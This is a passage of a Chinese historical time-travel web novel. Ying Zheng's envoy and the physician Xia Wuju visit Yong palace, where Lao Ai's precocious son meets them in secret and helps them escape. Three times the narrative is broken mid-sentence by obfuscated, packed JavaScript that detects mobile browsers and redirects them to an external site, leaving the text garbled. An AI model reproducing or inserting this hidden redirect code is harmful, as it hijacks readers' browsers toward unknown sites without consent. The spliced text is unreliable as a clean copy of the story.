“寡人听闻太后身体不适,十分担忧。你替带上咸阳宫中医术最好的医官和药材,替寡人往雍城走一趟。寡人要知道太后的近况,也要知道雍城王宫的近况。” 这使官是秦王政的心腹,此前已经奉秦王政之命,往雍城王宫走过好几次了,对雍城王宫的情况也算有几分了解。 他一听这话,就小心翼翼地问道:“除了太后的身体状况之外,王上还想知道些什么?臣驽钝,请王上明示。” “太后的近况,长信侯的近况,那两个小东西的近况,寡人都要知道。” 使官听到秦王政提起那二子,不由心惊肉跳。然而,秦王政却面色如常,看不出一点儿端倪。 “寡人听闻,那二子中年龄较大的那个颇为机灵,你去与他好好接触一番,回来之后将你的感想告知寡人。” 使官:“……” 赵太后对那两个儿子宝贝得不行,每次他抵达雍城王宫的时候,赵太后都将那俩儿子藏得严严实实的。他别说是跟那俩崽子接触了,就连见那俩崽子一面都很难,秦王政可真会给他出难题啊! 这般想着,使官却不敢说什么。 他要是敢跟秦王政讲述他的难处,秦王政只会觉得他无能。他能怎么办呢?顶头上司安排的任务,就算再不好办,他也得想办法给它办成! 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14906814|158498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >不过,咸阳宫中医术最好的医官是谁呢? 使官想了一阵儿,目光落在了随侍在秦王身边的夏无且身上。 医官们内部又没有进行过什么医术比拼,他哪儿知道谁的医术最好啊? 既然秦王喜欢这夏无且,还让他随侍在自己身旁,想必此人医术不错吧? 夏无且正兢兢业业干活呢,没想到,先是被秦王政用意味深长的目光盯着,之后又被秦王政身边的使官百般打量,顿时有些摸不着头脑。难道他今日打扮得格外帅气,所以才这般引人瞩目? 夏无且虽然年轻得有些过分,但使官却越看他越觉得他像个隐世高人。 使官向秦王政请示道:“陛下可否让夏医官随臣去一趟雍城?有夏医官在,太后必定药到病除,很快就会恢复健康。” 秦王政瞥了夏无且一眼,只见夏无且的双目睁得溜圆,嘴巴也夸张地咧开,似乎不明白这件事是怎么跟自己扯上关系的。 夏无且医术不见得比其他人高明到哪儿去,但他的表情格外丰富。有时,嬴政批奏疏批乏了,抬头看他一眼,便权当是解闷了。 “可。”嬴政收回目光,同意了使官所求。 这原本也不是什么大事,嬴政当然不会拒绝。 在手底下的臣子外出办差的时候,他总是会尽可能满足他们的要求。 很快,秦王政派去的使官和医官就在一小队卫兵的护送下出发了。 咸阳上下知道秦王这是派人去关心太后的病情,纷纷称赞他孝顺亲母。 然而,当嬴政派去的人抵达雍城时,收到消息的赵姬却是吓得够呛。 “怎么回事?咳咳,我不是说过,不许将我生病的事,咳咳,告诉秦王吗?” 这些天,嫪毐在雍城的举动可不小,赵姬担心嬴政派来的使者会不会看出什么不对劲之处。 她还担心她小心翼翼藏了几年的孩子,暴露在嬴政面前。 赵姬越想越是心慌,她攥紧了春枝的袖子:“你说,政儿他是不是发现了什么?” 春枝一面替赵姬拍着背,一面宽慰她道:“太后不必担心,您生病之事,几乎整个雍城王宫的人都知道。您虽然拦着不让人告诉秦王,可说不准便有好事之人把这件事说给秦王听。” “秦王是派人来关心您的身体的,只要您能尽快好起来,秦王的使臣肯定很快就会回去复命了。” 赵姬听到这里,总算是松了口气:“哎,可惜政儿的使臣来得突然,我没时间给那死鬼提个醒了。但愿那死鬼消息灵通些,最近能够消停点儿。” “对了,还有阿大和阿小!”赵姬开始紧张地左顾右盼:“我得找个地方把他们藏起来,不能让政儿派来的人发现他们!” 平日里她觉得雍城王宫还挺大的,然而在这关键时刻,她却觉得把她的孩子藏在哪哪儿都不保险,还不如就近藏在自己的宫中。 春枝道:“秦王派来的使臣是来看望太后的,他们肯定不会去下人房。要不,这几日,就让两个小主子跟咱们住下人房吧?” 赵姬盯着春枝看了一会儿,点了点头:“这些天,你不必来当职了,你就在房中照顾阿大和阿小吧。咸阳派来的使者没有离开之前,你务必不能让阿大和阿小离开你的房间!” 春枝郑重地点了点头:“奴婢必定拼死保护两位小主子!” 10.第 10 章 当晚,秦汉唐和他的便宜弟弟就被人从被窝里薅了出来,一起打包送到了春枝那儿。 秦汉唐看着自己的住所突然间从宽敞的宫殿换成了下人房,春枝还紧张兮兮地告诫他这些日子不要随意出去走动,他就不由叹了口气。 朝不保夕啊! 别看他和他弟弟平日里在雍城王宫中过着金尊玉贵的生活,实际上,他们依旧是见不得光的存在,有今天没明天。 也不知,这样的日子,究竟什么时候才是个头。 这些日子,秦汉唐都不知道梦到过几回他拼命出逃无果,被他那素未谋面的亲哥抓回来花式处死了。 自打穿越之后,秦汉唐小小的脸上黑眼圈就没有消下去过。最近,因为赵姬生病的事儿,他睡不好的理由又多了一个。 他的便宜弟弟阿小却没有这样的烦恼。 阿小现在吃饱了睡,睡饱了吃。他被带到秦汉唐面前的时候,还冲着秦汉唐傻乐呵呢! “咯咯,一起玩呀~开心!” 不过大半月的功夫,阿小口齿似乎变得更加清晰了,也不知是不是身边儿人教的。 秦汉唐接住弟弟带着奶香味儿的小身子,心中暗道,现在,这雍城王宫里最轻松的,恐怕就只有他了吧? 阿小有好几日没有见到秦汉唐了,特别珍惜与兄长的相处时间。他一来就跟小动物似的,在秦汉唐身上挨挨蹭蹭。 秦汉唐被他蹭得有些痒,将他从自己怀中扒拉了出来。 阿小不知道自己做错了什么,挠了挠小脑袋,这一挠,他手中的玩具就摔到了地上。 他赶忙蹲下身子将玩具捡了起来,然后,献宝似的将那个玩具送到了秦汉唐的手边。 “给咯咯!” 秦汉唐看着弟弟手上那个灰扑扑的玩具,又看了看弟弟异常灿烂的笑脸,有些哭笑不得地说:“我不需要,你自己留着玩吧。” 阿小却依旧执拗地把手中的玩具往秦汉唐面前送:“咯咯,不开心!玩,开心!” 这么小的孩子,居然已经能够磕磕绊绊地表达自己的意思了。 秦汉唐见弟弟黑白分明的眼睛中满满都是自己的倒影,不由伸出手,摸了摸弟弟的头。 这孩子虽然还是一团懵懂稚气,倒是一个招人喜欢的孩子。 可惜,怎么就摊上了那么个造孽的爹! 春枝见兄弟俩来到下人房之后没有哭闹,反倒一个比一个乖巧,她不由狠狠松了口气。 “大公子,您带着小公子在房间里玩,累了就睡一觉,奴婢去给你们拿些吃的回来。” “只要熬过这几天就好。这几天,你们无论如何,都不要离开这个房间。” 她知道秦汉唐比一般的孩童懂事,也知道他能够安抚住阿小,这番话她是特意对秦汉唐说的。 秦汉唐抱着阿小,一张稚嫩的小脸上,满是与年龄不符的严肃。 “既然你想让我配合你,那你总该告诉我,究竟发生了什么事吧?” 他其实隐约听说是秦王政派人来探望赵姬了,从赵姬慌里慌张的神色中,他也能够推测出这个结果。不过,他希望从春枝的口中打探到更多有用的信息。 “秦王派人来雍城了,太后很担心两位小主子的安危,她叮嘱奴婢将两位小主子藏好。” 春枝说着,一脸紧张地看着秦汉唐:“大公子,您应该知道的吧,你们是绝对不能出现在秦王使者面前的。” “知道,我们都是‘见不得光的存在’。”秦汉唐看起来有些难过:“这句话,阿母不止一次地说过。兄长他……其实并不知道他还有两个弟弟,对不对?如果他知道,他肯定会非常、非常讨厌我们,他会恨不得我们没有出生,所以,阿母才会让我们藏起来,不要被他发现。” 春枝见秦汉唐抱着弟弟蜷缩成一团,看起来蔫蔫的,心中有些不忍。 “没有人会讨厌大公子的,秦王他……只是没有与您相处过。” “真的吗?”秦汉唐的眼睛一下子亮了起来:“兄长与我们相处一阵子,就会喜欢上我们吗?” 阿小不明白自家兄长为什么这么高兴,可他会凑热闹啊! 秦汉唐伸着脖子看向了春枝,阿小也有样学样,探着小脑袋看着春枝:“兄长,喜欢!” “这,奴婢不知……”春枝为难地道。 “什么啊,原来你只是哄我们开心啊……”秦汉唐眼中的光芒瞬间散去,他小声地道:“如果兄长派来的使者看到我们,会发生什么?” 春枝简直快哭了:“奴婢不知道秦王使者看到你们会发生什么,奴婢只知道,奴婢要是让你们出现在秦王使者的面前,太后会打死奴婢的。大公子,求您怜惜怜惜奴婢,不要再有这么危险的想法了!” “你不说,我不说,又有谁会知道我们见过他们了呢?难道兄长派来的使者,会主动跟阿母提到我们吗?” “这倒不会……” “这不就行了?只要阿母不知道,就什么事都不会发生!” “您,您究竟为什么会有这种想法?您难道就不怕秦王会对您做什么吗?” “这里是雍城王宫,兄长又没有过来,他能对我们做什么呢?”秦汉唐闷闷地道:“其实,我就是想看看他派来的人凶不凶嘛……他派来的人要是对我们不凶,说不定,兄长没有阿母说的那么讨厌我们呢?” 春枝愣住了。 “阿母总说兄长知道了我们的存在,就会杀了我们,可我觉得她说的不一定是真的,我想亲自用我眼睛看看。” 秦汉唐一直都知道,秦王政早就知道了他们兄弟的存在。 只是,秦王政对他们持什么样的态度,他心中有些没底。 这次,趁着秦王政派人来探望赵姬,他正好可以伸出jiojio试探试探。 他想看看咸阳那边来的使者是厌恶他,还是无视他。 反正只要秦王政没有直接派人杀到雍城王宫来,秦汉唐就不必担心自己会丢了小命。 春枝听完这番话,看向秦汉唐的目光变得十分复杂。 这么小的孩子,在太后面前明明是一副娇憨的样子,可他私底下原来思考了这么多吗? “春枝姐姐,帮我。” “奴婢……” “不许说不,你要是不肯帮我,那我就找机会自己偷跑出去!你又不可能一天到晚一直守着我!我要是想跑,肯定能找到机会的!” 春枝:“……” “你是希望我偷偷跑出去见兄长派来的使者呢,还是希望我带着你一起去见他们呢?” “奴婢有选择的权力吗?” 春枝一脸生无可恋,她实在弄不明白,她怎么就被小主子给拿捏住了呢? “没有。我想做什么,春枝姐姐是拦不住的,所以你还是听我的吧。这样,至少你能在我身边看着我,保护我。” “太后大费周章地让你们搬来下人房,就是为了不让秦王派来的使者发现你们。没想到,您却主动要见秦王的使者,这件事若是让太后知道了……” “我都说了,只要咱们小心一些,阿母不就不会知道了吗?”秦汉唐朝着春枝眨了眨眼:“难道,兄长派来的使臣会在阿母面前嘴碎吗?” “要是兄长派来的使臣没有那么讨厌我和弟弟,兴许……” 后面的话,在他的喉咙间有些含糊不清了。 春枝却忍不住顺着这个话头想了下去。 这段时间,赵太后最为担心的,就是她的两个儿子被秦王政发现之后,秦王政会伤害他们。小主子这是要釜底抽薪呐! 若是秦王政的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14913536|158498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人在见过了小主子之后,秦王政还没有对他们动手的打算,想来太后也能安心许多吧? 当然,最坏的一种情况,秦王政要是打算对两位小主子下手,那春枝带着秦汉唐去见秦王使臣的事,肯定是瞒不过赵太后的。 不过,到了那时,赵太后护送两位小主子逃命都来不及,想必也没有功夫跟春枝计较了。 这般想着,春枝总算是下定了决心。 一直乖乖窝在秦汉唐怀中的阿小,见自家兄长只顾着跟别人说话,都不搭理他,他顿时不高兴了。 “兄长!讨厌!”他一边说着这话,一边死死地揪住了秦汉唐的衣襟。 “别,你这是要谋杀亲哥啊!快松手,不然我要喘不过气来了!” 秦汉唐将阿小的手拍了下来。阿小在他怀中扭了半圈,改为用小胖手在他身上圈地盘:“兄长,讨厌!” “你是什么时候学会说这几个字的?”秦汉唐盯着他,好奇地问道。 他记得,这小崽子之前明明怎么也学不会喊他兄长的。 阿小无辜地眨了眨眼:“兄长!学!” 春枝在一旁似乎看出了什么道道来,只听她轻笑道:“兴许是刚才您说了这几个词,所以,小公子也在一旁学会了。” 有了阿小的插科打诨,周围的气氛似乎瞬间变得轻松了不少。 只是,当春枝背过身去的时候,她又变成了一副心事重重的样子。 当她出去为秦汉唐和阿小拿吃的东西时,她忍不住抬起头,望向了雍城上方的天空。 无论雍城王宫是如何的压抑,秦地是如何暗潮涌动,唯有头顶上方这片的天空,澄澈依旧,湛蓝依旧。 她拍了拍自己的脸,心中暗道,一切都会好起来的吧! …… 为了打探秦王使臣的消息,春枝开始时不时找机会往外面溜。 她是太后身边的心腹,在这雍城王宫中很有几分脸面。她向宫人们打探消息,宫人们也十分配合。 很快,春枝就打探到秦王派来的使臣名叫陈驰,深得秦王倚重。 秦王派来为赵姬治病的医官,名唤夏无且。 他们是带着秦王的命令和一堆珍贵的药材来觐见赵姬的。 那陈驰能说会道,夏无且医术高超。 只是,不知怎么的,他们在向太后表达了秦王的关切之意后,太后的头似乎疼得更厉害了。 春枝向秦汉唐讲述着她从外面打探来的消息,秦汉唐一边听一边看自家弟弟啃小脚丫。 哎,也不知道阿小这是什么时候染上的坏毛病。待会儿阿小要是想亲他,他肯定得坚定拒绝! 等等—— “夏无且?” 秦汉唐总觉得这个名字有些耳熟,他似乎在哪里听过。 首先可以肯定的是,这人不是王翦、蒙恬那种大名鼎鼎的人物,也不是胡亥、赵高那种臭名昭著的人物,否则,他肯定会在第一时间反应过来。 不过,他既然能对这个名字有印象,说明这人多半也在史书上留下了一笔。 秦汉唐像可达鸭一样抱着脑袋想了想,终于想到了夏无且是谁—— “无且(jū)爱我,乃以药囊提荆轲。①” 艾玛,他这秦王兄长随手一指,就把他未来的心腹给指过来了。 这位可是荆轲刺秦的重要人物之一呢!在荆轲刺秦的时候,夏无且眼疾手快地丢出了药囊,为秦王政争取了宝贵的跑路时间! 不仅如此,夏无且还特别长寿。未来,他活到了汉朝,还跟董仲舒交上了朋友! 秦汉唐忍不住想现在就去看看,这手脚灵活还特别能活的夏侍医究竟长什么样! 至于那使官究竟是谁,秦汉唐想了半天也没想出来,索性就暂且把这人抛在脑后了。 11.第 11 章 “也不知春枝姐姐他们什么时候过来……” 秦汉唐艰难地从草丛中探出个脑袋来。 他身后怎么甩都甩不掉的小尾巴——阿小也有样学样,跟他一起扒拉着周围的草,仿佛在玩什么新型游戏。 雍城王宫毕竟地方这么大,有些宫殿久不住人,宫殿前的草都有半人高了。 阿小在草堆里窜来窜去,玩得不亦乐乎。 秦汉唐看着他小小的身子没入草丛中就不见了踪影,惊出了一身冷汗。 “阿小,到兄长这里来,不要再随便跑了!” 这周围的草那么多又那么茂盛,万一一个没看住,他这弟弟是真的要丢了! 这会儿,秦汉唐有些后悔没有抵挡住弟弟的狗狗眼,把这小东西给带出来了。 阿小在春枝的房间里闷了好久,现在好不容易有放风的机会,他怎么会错过? 只见他冲着自家兄长扮了个鬼脸:“咯咯,来抓窝呀!” 说着,他一个闪身,又溜进了草丛中。 秦汉唐:“……” 得,现在还说什么,先把不听话的弟弟给抓住再说吧。 春枝离开之前,指派了一个名叫山茶的小宫女看着他们兄弟俩。 这会儿,秦汉唐冲着山茶使了个眼色,山茶赶忙也加入了抓捕阿小的行动。 秦汉唐一时半会儿抓不住自家调皮捣蛋的弟弟,便仔细观察着周围的地形,将阿小冲着草丛边缘赶去。 阿小眼看着自己就要被抓住,慌不择路地往前跑着,紧接着,就撞上了一堵墙。 他重重摔在了地上。 他似乎被摔懵了,一双圆润的大眼睛直愣愣地看着出现在眼前的人。 “阿小,你没事吧,没有摔疼吧?” 直到听到兄长紧张而又关切的声音,泪珠才迅速地盈满了阿小的眼眶。 “咯咯,痛痛哇!” “让你别乱跑,你不听,现在知道疼了吧?” 秦汉唐一边替阿小拍着身上的灰,一边有些无奈地摇着头。 他觉得,自己是真的不适合带孩子。不过,这孩子黏他黏那么紧,他有什么法子呢? 一想到这孩子兴许会跟他黄泉路上作伴,他就忍不住对这孩子多了一分怜悯和包容之心。 “别哭了,你看看你撞了谁?” 阿小止住了金豌豆,和秦汉唐一起仰着小脑袋看着突然出现的俩人。 其中一名医者打扮的人就是刚刚阿小撞到的人,他看起来个子很高,长得人模狗样的,手上拎了个药囊。 这会儿他正傻兮兮地盯着秦汉唐和阿小看,似乎比阿小还要无措。 “你,你们没事吧?有哪里摔伤没有?我这里有祖传的秘制疗伤药,历代秦王用了都说好!” 说着,这人就开始手忙脚乱地去翻他身上那个药囊。 历代秦王? 秦汉唐:“莫非,你就是我秦王兄长身边的侍医夏无且吗?” 眼前的人一愣:“你怎么知道我的名字?我什么时候变得这么有名了?等等,你说秦王……咳咳,秦王是你的兄长,嘶~” 夏无且捂住自己的嘴,不敢再说下去。他觉得,他撞见了什么不得了的场面。 这、这这这……这些王室秘闻是他能够知道的东西吗? 夏无且那副龇牙咧嘴的样子实在太过滑稽,就连阿小都忘记了他刚才跟夏无且的那点“过节”,被逗得笑了起来。 秦汉唐挠了挠头,对夏无且的反应有些不解:“秦王兄长派你们过来的时候,难道没有跟你们说清楚雍城这边的情况吗?” “不知道,我什么也不知道,我只是过来为太后治病的。”夏无且把头摇得飞快:“太后的病,有小半是着凉,大半是心病。回头见了秦王,我会这么对他说,其他的我什么都不知道!” 秦汉唐:“……” 好的吧,看来夏无且这求生欲也是很强了,该装傻充愣的时候就装傻充愣,该冒头的时候才会冒头。 难怪秦王室都凉透了,汉初统治者都换了几代了,夏无且还能活得好好的。 夏无且这苟命的本事,恐怕也只有秦始皇时期的待诏博士叔孙通能够与他一较高下。 秦汉唐能记得叔孙通这个人,主要是这人太能活了,跟了秦始皇又跟秦二世,跟了项梁又跟楚怀王,跟了项羽又跟刘邦。 刘邦想要废黜刘盈改立刘如意的时候,叔孙通还掺了一脚,以“不合礼法”为由劝阻刘邦呢。 叔孙通熬走了一任又一任主君,自个儿好活得好好儿的,实在也是一种本事了。 不过,他的日子太过“精彩刺激”,显然不是秦汉唐想要的,比起叔孙通,秦汉唐显然还是更中意夏无且的活法。 秦汉唐很想就地拜夏无且为师,跟他学习一下夏式苟命绝活。不过,他还是忍住了。 现在有更重要的事等着他去做。 秦汉唐将目光转向了站在夏无且身边的使官陈驰:“他说他什么都不知道,你呢?你也一样吗?” 陈驰摇了摇头,刚准备说些什么,就听夏无且一边堵着耳朵一边道:“你们在这里聊着,我去给你们放风去!” 秦汉唐有些啼笑皆非:“你就堵一只耳朵有什么用?回来,你别光顾着自己开溜,你得把阿小也带着!阿母可宝贝阿小了,要是阿小丢了,我保证你走不出雍城!” 刚刚开溜到一半的夏无且闻言,只好折了回来,重新将阿小给带上。 阿小有些怕生,不愿意轻易跟陌生人走。但夏无且面部表情极其丰富,他很快就被夏无且给逗笑了。不知不觉间,夏无且就带着阿小离开了秦汉唐和陈驰的谈话范围。 陈驰抚着额,显然也对这名同伴的行为感到很是无奈。 不过,他没因为这个小插曲而忘记秦汉唐刚刚的问题。 “我的任务与夏侍医的任务自然不同。他是来为太后治病的,我是代表秦王来关心太后的。” 至于这些天,他趁机在雍城王宫中打探了多少消息,就不必跟眼前的孩子细说了。 “你的任务范畴,也包括我和弟弟吗?” 陈驰垂眸打量着眼前的孩子。 这孩子生了一张圆圆的脸,瞧着肉嘟嘟憨乎乎的,他的脸型虽不像赵太后,五官却像极了赵太后。 赵太后的五官是极为精致的,这孩子像了赵太后六七分,自然也有一副极好的样貌。 他与秦王政是同母异父的兄弟,眉眼间倒也有三分相似之处。 只是,秦王政喜欢敛目沉思,那眼睛便显得细长了起来,偶尔扫来的目光,也如同瀚海一般深邃复杂。 眼前这孩子却喜欢将眼睛睁得圆滚滚的,看上去多了几分天真和无辜。一身鲜亮的红色锦服,更是衬得他玉雪可爱。 与年纪轻轻就饱经风霜的秦王政相比,眼前的孩子活脱脱就是一个娇生惯养的富家小少爷。 不过,这孩子提出的问题,让陈驰知道,这孩子并不像他看上去那么天真无知。 这到底是秦王的弟弟,即使秦王从未承认过这个弟弟,即使这孩子尚且年幼,陈驰也不能怠慢了他。 只见陈驰蹲在了秦汉唐的面前,平视着他的双眼:“是。赵太后非常在意你们,她的这场心病,兴许就与你们有关。我的任务范畴,当然包括你们。准确地来说,是你,大公子。” 秦汉唐听到这话,心中一紧:“你这样称呼我,得到秦王的允许了吗?” 他可不信秦王政会默许自己手底下的人称呼他为“大公子”,他与秦国王室又没有半毛钱关系。 “这只是一件小事罢了,秦王是不会跟他信任的臣子计较这个的。”陈驰开始打起了哈哈:“秦王让我收集与你有关的资料,我原本还在苦恼,怎么才能在赵太后的眼皮子底下与你接触。没想到,你竟然主动送上门来了。你比我想象中更聪明,也比我预料中更胆大。” 秦汉唐:“你这是在夸我,还是在骂我呢?” “我自然是在夸大公子。不过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14930331|158498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我有一事不明,还请大公子为我解惑。” 秦汉唐小脸皱成一团:“你们这些大人啊,有什么事直说不就好了,为什么要说这么多废话呢?你说着不累,我听着都累了!” “我跟你说,我精力有限,你要问什么,最好快点问。要是你总是跟我东绕西绕的,我就不理你了!” “记着,说人话!” 陈驰被秦汉唐这最后一句话给噎到了。他说的怎么就不是人话了? 不过,他看着眼前这孩子一团稚气的样子,觉得他确实不应该将平时应付官场同僚们的那一套,带到这孩子的跟前来。 “好吧,那我就直接问了。赵太后费心将你藏起来,你为什么要出来?” 陈驰和夏无且一路被引来这里,又“恰好”遇到秦汉唐和阿小,这整件事看起来充满了“巧合”。但陈驰是不会相信这真是“巧合”的。 这孩子知道的东西,比他们想象中多太多了! “当然是因为兄长想‘见’我们。阿母总觉得她将一切都隐瞒得很好,可我明白并非如此。兄长是秦王,秦王是大秦最厉害的人。大秦有什么事,能够瞒过兄长的眼睛?兄长肯定早就知道我们的存在了,只有阿母还一直以为他不知道。” 秦汉唐睁着一双干净剔透的眼眸,对陈驰说道:“这里是秦国,我也是大秦的臣民,兄长想知道什么,我自然据实以告。你是兄长派来的使者,你想问什么,我肯定知无不言,言无不尽。” 陈驰听了这番话,心头一动。这孩子明明主意大得很,却在他面前展露出一副驯服的姿态来。 他这究竟是做给他看的,还是在隔空向秦王政表明他的诚意? “你既然自称是大秦的臣民,那么,假如你的阿父站在秦王的对立面,你会怎么做?” 陈驰又问。 “自然是尽力劝阻阿父。不过,阿父不一定会听我的,他要是执意要跟秦王作对,我和弟弟就只能陪着他一块儿赴死了。” 明明还是个稚嫩的幼童,秦汉唐的脸上却露出了些许悲伤和惆怅。 陈驰暗暗为秦汉唐的早慧而心惊。他见眼前的幼童睁着一双又黑又亮的眼睛,泪水盈满了他的眼眶,他不由想到了家中稚子。 明明是差不多年龄的孩子,他家稚子仍是一团孩子气,不知何为忧愁,而眼前的孩子却已经要直面生死了。 “事情未必会发展到最坏的地步……”陈驰低声安慰着眼前的孩子,打定了主意回去要在秦王政面前为他说一些好话。 “你不用安慰我了。”秦汉唐摇了摇头,眼中的泪珠终于滚了下来:“我最近在听宫人给我念秦律。虽然很多地方我听不懂,但我知道,父亲犯了罪,儿子也是要连坐的……阿父要是犯了死罪,我和弟弟肯定也活不了……” 陈驰:“……”这孩子这般聪慧,倒让他不知该怎么安慰他了。 他无法给这孩子任何保证,毕竟,他也无法预料到秦王政对这孩子的态度,会不会因为这番话而有所变化。 长信侯若是看不清自己的身份,执意要与秦王对着干,那么他是肯定活不成的。至于他的两个孩子,他们的命运,都掌握在秦王的一念之间。 “你回去之后,替我问问秦王兄长,如果那一天真的来了,我能不能求他给我和弟弟一个痛快?我听说受刑而死会非常痛苦,我怕疼!” 秦汉唐想着被五马分尸的商鞅,想着承受“俱五刑”而死的李斯,想着被装在布袋里一下一下摔死的两个小孩,他哭得更惨了。 原本他只是想在秦王派来的使者面前装个惨卖个可怜,但现在,他越哭越厉害,简直停不下来了。 陈驰看着哭得鼻子通红的秦汉唐,忽然生出了一种自己在欺负小孩的愧疚感。 还没等他想到安慰秦汉唐的办法,他忽然看见夏无且抱着阿小一脸严肃地跑了过来:“快,想办法藏起来,我看到有披甲锐士朝着我们刚刚‘离开’的方向追过去了。事情有变,兴许有人不想让我们活着离开雍城王宫!” 12.第 12 章 阿小懵懵懂懂的,尚且不明白发生了什么,秦汉唐却很快就反应了过来。 陈驰和夏无且都来了几天了,一直与赵姬相安无事。怎么忽然间就有人要来抓他们了呢? 不会是他那个便宜爹得到消息赶回来了吧? 赵姬是个心慈手软的人,即使她再不喜欢陈驰和夏无且,也不会轻易对他们动手。何况,这俩人还是秦王政派来的人,赵姬要是对他们动手,那不是在打秦王政的脸吗? 倒是嫪毐,胆子是真大,心也是真狠。 如果真是嫪毐赶回来了,秦汉唐觉得他做得出软禁秦王使者甚至杀人灭口这种事来。 秦王政派来的人都在雍城王宫逗留好几天了,谁知道他们有没有打听到什么要命的消息呢? 短短时间内,秦汉唐脑海中就闪过了许多个念头。 他几乎没怎么犹豫,就决定尽他最大的努力帮助陈驰和夏无且脱身。 无论有没有这俩人提供的信息,嫪毐都绝不会是秦王政的对手。 嫪毐要是真把陈驰和夏无且给宰了,反而会进一步激怒秦王政。 既然如此,那还不如让这俩人安全回去呢。秦汉唐看得出来,这俩人对他和阿小有那么一点恻隐之心。如果他能帮助这俩人脱险,他又对这俩人多了一份恩情。 这俩人回到秦王政面前,为他们兄弟说一些好话,他和阿小也能多一丝活下来的希望。 秦汉唐一张小脸绷得紧紧的,他对侍立在一旁的小宫女山茶说道:“你带着阿小,沿最近的路返回我们的住处,中途不要有任何停留。” “可是,春枝姐姐吩咐奴婢看着您和小公子……” 这时候,秦汉唐就察觉到年纪小的不便之处了。 他手头根本没有什么可用之人,即便山茶奉命前来侍奉他,可一旦他的命令与春枝的命令相违背,山茶还是会优先执行春枝的命令。 秦汉唐加重了语气:“现在是性命攸关的时候,我没空与你多解释!你要是还认我这个大公子,就听从我的命令!” 山茶从未见过他这般严肃的样子,她下意识地将阿小抱了起来,一张圆圆的脸蛋上也露出如临大敌的表情。 只是,她到底还是有些犹豫:“我们要是走了,您怎么办?” “我知道回去的路,无论如何,我丢不了。雍城王宫中的人,都知道我的身份,没人敢对我不利,你不必担心我的安危!” 山茶听了这话,才终于不说什么了。她年纪不大,没见过这阵势,再加上小主子态度强硬,她下意识就想遵循小主子的命令。 阿小察觉到周围的气氛不对,在山茶怀中不断挣扎着,想要重新回到秦汉唐的身边。这种时候,只有兄长的气息能够让他安心。 秦汉唐却摸了摸弟弟的脸,对他说:“乖一点。你先跟着山茶姐姐回去,我晚一些再来找你。” 也不知是不是他的安抚起了作用,阿小听了这番话,真的就乖乖窝在山茶怀里不闹了。 他任由山茶抱着他越走越远,一双乌溜溜的眼睛却始终盯着秦汉唐看。 直到山茶和阿小的身影彻底消失在视线范围中,秦汉唐才别过头,对陈驰和夏无且道:“我知道这附近有一条密道,可以通往北边的大门,你们随我来!” 他表示,他这些天在雍城王宫中也没有白混日子。 他借着陪阿小捉迷藏的机会,把附近的地形摸了一遍,为将来的逃命计划做了一些准备。 雍城王宫由许多个宫殿群构成,秦汉唐虽然不知道雍城王宫究竟有多大,但据他目测,雍城王宫起码得有好几个紫禁城那么大。 对于秦汉唐来说,他要想在短时间内把这么大一块地完全摸熟,显然是不可能的。 他真正熟悉的,也就只有他住的那块区域到附近两个门的路线。 这次,他准备带着陈驰和夏无且从最近的一处宫门离开。 秦汉唐往前走了几步,却发现陈驰和夏无且并没有跟上来,他不由急得直跺脚:“你们还愣着干什么?快点跟上来啊!” 陈驰神色严肃地道:“既然宫中的卫队已经开始捉拿我们,只怕我们这会儿去宫门口是自投罗网。” 夏无且在他一旁连连点头,显然,他也是这么想的。 秦汉唐却道:“你们刚刚离开阿母的宫殿时,一切都还如常吧?这么短的时间内,即使阿母忽然改变了主意,要限制你们的行动,她的命令也未必能这么快就传到宫门处。” “你们趁着这机会,赶紧试着出宫。宫门处的侍卫要是直接放你们出去了,自然最好。如果你们在宫门前被拦下来了,你们就挟持我做人质,利用我出宫。我年前曾经试图溜出去玩耍,宫门口的侍卫是认得我的。你们拿我的性命要挟他们,他们必定不敢不从!” 陈驰和夏无且听了这话,不由一怔,他们看向秦汉唐的目光变得有些复杂。 “您……您为何愿意为了我们,做到这样的地步?” 秦汉唐仰头望着他们,一双琉璃般的眼眸中清晰地倒映着他们的身影:“你们是秦王兄长派来的,我不能让你们在雍城王宫中出事。” 陈驰见过的人不少,却没有一个像秦汉唐这般爱打直球。 他深吸了口气:“大公子对陛下的一片忠心,我们会如实告知陛下。您对我们的恩情,我们也会牢记在心。” 这声大公子,陈驰喊的比任何时候都心甘情愿。他甚至为秦汉唐感到惋惜,为什么这孩子不是真正的秦国公子呢? 没想到,嫪毐那样浅薄粗鄙的人,竟能生出这般璞玉浑金的儿子来。 “没错,我夏无且虽然不是什么大人物,但我也是个知恩图报的人。大公子对我们有恩,我日后定会尽力报答大公子。” 这是难得正经起来的夏无且。 